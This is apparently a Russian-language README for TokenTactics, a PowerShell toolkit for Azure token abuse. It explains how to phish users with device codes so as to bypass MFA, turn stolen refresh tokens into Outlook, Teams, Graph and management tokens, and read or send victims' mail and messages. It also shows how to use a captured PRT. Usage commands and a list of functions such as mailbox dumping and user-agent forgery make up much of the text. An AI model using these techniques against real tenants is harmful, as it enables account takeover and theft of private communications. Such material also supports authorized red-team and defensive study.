
Набор инструментов для манипуляции JWT-токенами Azure
Azure JSON Web Token ("JWT") — набор инструментов для манипуляции
Токены доступа Azure позволяют аутентифицироваться на определённых конечных точках от имени пользователя, вошедшего с помощью кода устройства, даже если он использовал многофакторную аутентификацию. Получив токен доступа пользователя, вы можете получить доступ к некоторым приложениям, таким как Outlook, SharePoint, OneDrive, MSTeams и другим.
Например, если у вас есть токен Graph или MSGraph, вы можете подключиться к Azure и выгрузить список пользователей, групп и т. д. Затем, в зависимости от политик условного доступа, переключиться на токен Azure Core Management и запустить AzureHound. После этого переключиться на токен Outlook и читать/отправлять электронные письма, или MS Teams и читать/отправлять сообщения!
Подробнее о типах токенов Azure: Microsoft identity platform access tokens
В папке resources находятся примеры запросов к конечным точкам. Также есть пример шаблона фишинга для фишинга с использованием кода устройства.
Вы также можете использовать эти токены с AAD Internals. Настоятельно рекомендуем ознакомиться с этим замечательным инструментом.
Import-Module .\TokenTactics.psd1
Get-Help Get-AzureToken
Invoke-RefreshToSubstrateToken
Get-AzureToken -Client MSGraph
После входа пользователя вы увидите JWT, который будет сохранён в переменной $response. Чтобы получить токен доступа, используйте $response.access_token из окна PowerShell. Вы также можете вывести токен обновления с помощью $response.refresh_token. Подсказка: токен обновления понадобится для постоянного обновления доступа к новым токенам! По умолчанию результаты Get-AzureToken сохраняются в TokenLog.log.
Get-AzureToken -Client DODMSGraph
Invoke-RefreshToOutlookToken -domain myclient.org -refreshToken 0.A
$OutlookToken.access_token
Connect-AzureAD -AadAccessToken $response.access_token -AccountId [email protected]
После захвата PRT аутентифицируйтесь с помощью roadrecon, чтобы получить access_token и refresh_token. При обновлении с помощью TokenTactics используйте ClientId 1b730954-1685-4b74-9bfd-dac224a7b894.
Invoke-RefreshToMSGraphToken -domain myclient.org -ClientId 1b730954-1685-4b74-9bfd-dac224a7b894 -refreshToken 0.A
Invoke-ClearToken -Token All
Get-Command -Module TokenTactics
CommandType Name Version Source
----------- ---- ------- ------
Function Invoke-ClearToken 0.0.2 TokenTactics
Function Invoke-DumpOWAMailboxViaMSGraphApi 0.0.2 TokenTactics
Function Invoke-ForgeUserAgent 0.0.2 TokenTactics
Function Get-AzureToken 0.0.2 TokenTactics
Function Get-TenantID 0.0.2 TokenTactics
Function Invoke-OpenOWAMailboxInBrowser 0.0.2 TokenTactics
Function Invoke-ParseJWTtoken 0.0.2 TokenTactics
Function Invoke-RefreshToAzureCoreManagementToken 0.0.2 TokenTactics
Function Invoke-RefreshToAzureManagementToken 0.0.2 TokenTactics
Function Invoke-RefreshToDODMSGraphToken 0.0.2 TokenTactics
Function Invoke-RefreshToGraphToken 0.0.2 TokenTactics
Function Invoke-RefreshToMAMToken 0.0.2 TokenTactics
Function Invoke-RefreshToMSGraphToken 0.0.2 TokenTactics
Function Invoke-RefreshToMSManageToken 0.0.2 TokenTactics
Function Invoke-RefreshToMSTeamsToken 0.0.2 TokenTactics
Function Invoke-RefreshToO365SuiteUXToken 0.0.2 TokenTactics
Function Invoke-RefreshToOfficeAppsToken 0.0.2 TokenTactics
Function Invoke-RefreshToOfficeManagementToken 0.0.2 TokenTactics
Function Invoke-RefreshToOutlookToken 0.0.2 TokenTactics
Function Invoke-RefreshToSubstrateToken 0.0.2 TokenTactics
Function Invoke-RefreshToYammerToken 0.0.2 TokenTactics
Методы TokenTactics основаны на блестящем исследовании доктора Нестори Сюнимаа (Dr Nestori Syynimaa) на https://o365blog.com/.